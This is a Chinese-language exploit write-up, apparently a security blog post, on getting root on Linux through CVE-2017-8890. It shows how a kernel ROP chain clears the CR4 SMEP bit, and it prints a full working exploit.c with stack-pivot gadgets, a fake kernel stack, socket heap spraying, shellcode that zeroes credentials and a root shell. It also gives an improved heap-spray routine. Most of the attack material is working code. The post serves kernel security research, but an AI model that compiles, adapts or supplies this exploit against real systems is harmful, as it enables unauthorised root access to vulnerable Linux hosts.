Author: Thor

在上一篇文章利用CVE-2017-8890实现linux内核提权: ret2usr中,我们成功利用ret2usr攻击实现了root提权。但是如果内核开启了SMEP,那么我们的攻击将失效。在本篇文章中,我们将主要介绍SMEP的绕过方法及堆喷的改进方法。

0x00 SMEP绕过

我们在qemu启动命令行中加入选项:

-cpu kvm64,+smep

这将使得linux内核不能直接跳到用户空间执行shellcode。qemu启动后我们查看cpuinfo,可以看到smep已开启:

1

开启后我们再执行之前的exp:

1

我们可以看到由于SMEP拦截了用户空间shellode的执行,内核直接崩溃。绕过SMEP目前有几种方法:

1). 内核ROP覆盖CR4寄存器,关闭SMEP
2). 直接内核ROP执行shellcode
3). ret2dir,利用physmap执行shellcode

这里我们使用第一种方法。

1)覆盖CR4寄存器,关闭SMEP

我们知道,内核SMEP/SMAP的实现需要底层CPU的支持,而CR4寄存器就是控制SMEP/SMAP开关的寄存器。CR4寄存器是X86 CPU的一个特殊的控制寄存器,控制了CPU很多特性的开启,其布局如下所示:

1

我们可以看到,CR4寄存器的第20位控制了SMEP的开启,第21位控制了SMAP的开启。因此,只要我们能够将CR4寄存器的第20位清零即可关闭内核的SMEP防护机制。我们从之前的内核崩溃中可以看到,CR4寄存器的值为0x1006f0,第20位为1,表示SMEP开启:

1

由于我们不能在用户空间执行shellcode,我们只能先通过内核ROP关闭SMEP,再跳转到用户空间的shellcode执行提权。因此,我们在漏洞触发劫持内核EIP后,需要跳转到执行关闭SMEP的ROP gadget。为了执行内核ROP,我们首先用ROPgadget工具dump出内核镜像的所有gadgets,方便查找:

ROPgadget --binary vmlinux > ropgadget

查找覆盖CR4的gadget:

1

最终选定如下两个gadgets来关闭SMEP:

1
2
0xffffffff810efbfd : pop rdi ; ret
0xffffffff810496b4 : mov cr4, rdi ; pop rbp ; ret

首先通过rdi寄存器布置参数,然后执行覆盖cr4寄存器的操作。

2)内核ROP链

上面我们提到需要通过两个内核ROP gadgets来执行关闭SMEP的操作,但是在执行这两个gadgets之前,我们还必须执行stack pivot等操作,构建ROP链来完成目标。首先,ROP的执行需要我们能够在内核堆栈上布置我们控制的数据,但是我们并不能控制内核堆栈,所以必须执行stack pivot,将内核堆栈指向我们控制的空间。我们使用以下gadget:

1
0xffffffff813b5122: xchg eax, esp ; ret 0x4881

该gadget将eax寄存器和esp寄存器的值交换,而eax寄存器在劫持EIP时正好是可控的,因此可用于stack pivot,如下所示:

1

可以看到,eax寄存器的值正好是该gadget地址值的前4个字节,因此可以将esp劫持到0x813b5122地址,我们可以在该地址布置我们的ROP链:

1

执行完ROP链后我们关闭了SMEP,因此就可以跳转到用户空间的shellcode去执行提权代码了,这里的get_root函数地址就是我们在用户空间的提权shellcode。需要注意的是,在执行ROP前需要保存一些重要寄存器环境,在shellcode执行完后要恢复,防止内核处理出现异常。

3)Demo

综上,我们利用内核ROP绕过SMEP的exploit.c如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/types.h>
#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT 8088
#define Stack_Pivot_addr 0xffffffff813b5122 // xchg eax, esp ; ret 0x4881
#define Heap_Spray_Addr 0xcdab02ff
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"pushq %rcx;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"mov $0xcdab1028,%rax; "
"movq $0xffffffff81077220,(%rax); "
"popq %rsp;"
"sub $0x50, %rsp;"
"retq;"
);
}
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
void *func_modify(void *arg){
unsigned long fix_addr = Heap_Spray_Addr + 8*5;
unsigned long func = Stack_Pivot_addr;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init();
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
unsigned long fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)Heap_Spray_Addr;
unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
unsigned long func = (unsigned long)Stack_Pivot_addr;
addr[0] = (unsigned long)addr1;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = (unsigned long)func;
addr1[0] = 0x0;
addr1[1] = 0x0a0a02e0;
addr1[2] = 0x00000002;
addr1[3] = 0x0;
addr1[4] = 0x0;
addr1[5] = 0x0;
unsigned long fake_stack_fix = 0x813b5000;
unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (fake_stack_addr == MAP_FAILED){
perror("Failed to mmap: ");
return ;
}
memset(fake_stack_addr,0,1024*2048);
unsigned long fake_rsp = 0x813b5122 ;
*((unsigned long *)fake_rsp) = 0xffffffff8138b055; //push rbp ; pop rcx ; ret 0xe881
unsigned long fake_rsp1 = fake_rsp + 0x4889;
*((unsigned long *)(fake_rsp1)) = 0xffffffff810efbfd; // pop rdi ; ret
fake_rsp1 -= 0x1777;
*( (unsigned long*) (fake_rsp1)) = 0x06f0; // CR4
*( (unsigned long*) (fake_rsp1+ 8) ) = 0xffffffff810496b4; // mov cr4, rdi ; pop rbp ; ret
*( (unsigned long*) (fake_rsp1 + 16) ) = fake_rsp + 0x80;
*( (unsigned long*) (fake_rsp1 + 24)) = (unsigned long)&get_root;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL);
printf ("[Server]close new_server_socket \n");
close(new_server_socket);
sleep(5);
heap_spray();
close(server_socket);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
void *client(void *arg){
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
pid = getpid();
exploit();
return 0;
}

编译后运行,成功在开启SMEP防护机制下实现root提权:

1

1

0x01 再议堆喷

在我们两个版本的exp中,堆喷都是漏洞利用的重要前提,如果没有合适的堆喷,那么后续的漏洞利用方法都无法实现。由于我们对内核研究得不够深,对于堆喷我们也一直没有找到合适的方法,所以我们在exp使用了patch kernel的方法,暂时跳过堆喷的阻碍。现在我们再来看看堆喷的其他方法。
我们的堆喷其实要求比较简单:

1)堆喷大小为64字节;
2)至少能够控制堆喷块的前8个字节,且堆喷块中无其他干扰内核执行流程的数据;

我们之前一直试图使用sendmmsg方法来堆喷,发现始终无法控制前8个字节,所以放弃。我们试图从sock_malloc的调用图中找到一个适合的方法,最终发现了一条调用路径:

1

在函数ip_mc_source中会调用sock_malloc分配空间:

1

经过调试发现,这里刚好会分配64个字节空间,因此满足堆喷的第一个条件。同时,我们查看堆块的内容发现,堆块除了前8个字节以外的其他内容都为0,基本满足第二个条件:

1

该方法堆喷的堆块前8个字节固定为0x000000010000000a,我们虽然不能控制这8个字节的内容,但是由于这个值是我们已知的固定值,且该地址是我们能够通过mmap获取到的用户地址空间,因此该堆喷方法是可行的。最终,我们可以将之前exp中的堆喷代码修改为如下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int sockfd[SPRAY_SIZE];
void spray_init() {
struct sockaddr_in server_addr;
struct group_req group;
struct sockaddr_in *psin=NULL;
memset(&server_addr,0,sizeof(server_addr));
memset(&group,0,sizeof(group));
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
}
}
void heap_spray(){
struct ip_mreq_source mreqsrc;
memset(&mreqsrc,0,sizeof(mreqsrc));
mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}
}

除了修改堆喷方法之外,还需修改堆喷地址,即:

1
#define Heap_Spray_Addr 0x000000010000000a

修改好之后我们的exp照样能够成功提权,因此该堆喷方法是可行的。至此,我们成功找到一个不需要patch kernel的堆喷方法,内核中应该还有很多类似的堆喷方法。

0x02 小结

本篇文章中,我们利用内核ROP绕过了SMEP防护机制,同时找到了一种可靠的堆喷方法。但是目前为止我们的exp还不能绕过SMAP,因为SMAP将阻止我们的exp从内核访问用户空间的伪造对象。如果使用ret2dir方法应该可以同时绕过SMEP和SMAP,还需后续研究。还有另外一种方法就是在内核空间中伪造ip_mc_socklist,而不是在用户空间伪造。同时,我们的exp只是在qemu的虚拟环境中测试通过,在实际的linux发行版本未做测试。如果要在Ubuntu等系统上提权,还需要通过gdb调试并修改exp。